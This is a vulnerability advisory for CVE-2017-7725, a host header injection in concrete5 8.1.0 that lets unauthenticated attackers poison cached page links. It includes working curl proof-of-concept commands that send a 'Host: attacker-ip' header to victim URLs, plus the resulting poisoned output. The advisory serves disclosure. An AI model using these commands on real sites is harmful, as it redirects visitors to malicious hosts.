concrete5 8.1.0 Host Header Injection

Published
Credit
Risk
2017.04.14
hyp3rlinx
Low
CWE
CVE
Local
Remote
N/A
CVE-2017-7725
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec



Vendor:
==================
www.concrete5.org



Product:
================
concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.


Vulnerability Type:
======================
Host Header Injection



CVE Reference:
==============
CVE-2017-7725



Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489


e.g.

c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more


<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
var CCM_CID = 162;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE
var CCM_REL = "/concrete5-8.1.0";
</script>



Exploit:
=========

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:

http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio

Click on links in header portion of the webpage from one of the above URLs.

Services
Portfolio
Team / Drop down Menu
Blog
Contact

OR

click on the links on footer portion of the webpage.

FAQ / Help
Case Studies
Blog
Another Link
View on Google Maps


Result: user gets redirected to attacker-ip.



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
======================================================
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure



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hyp3rlinx

References:

http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt


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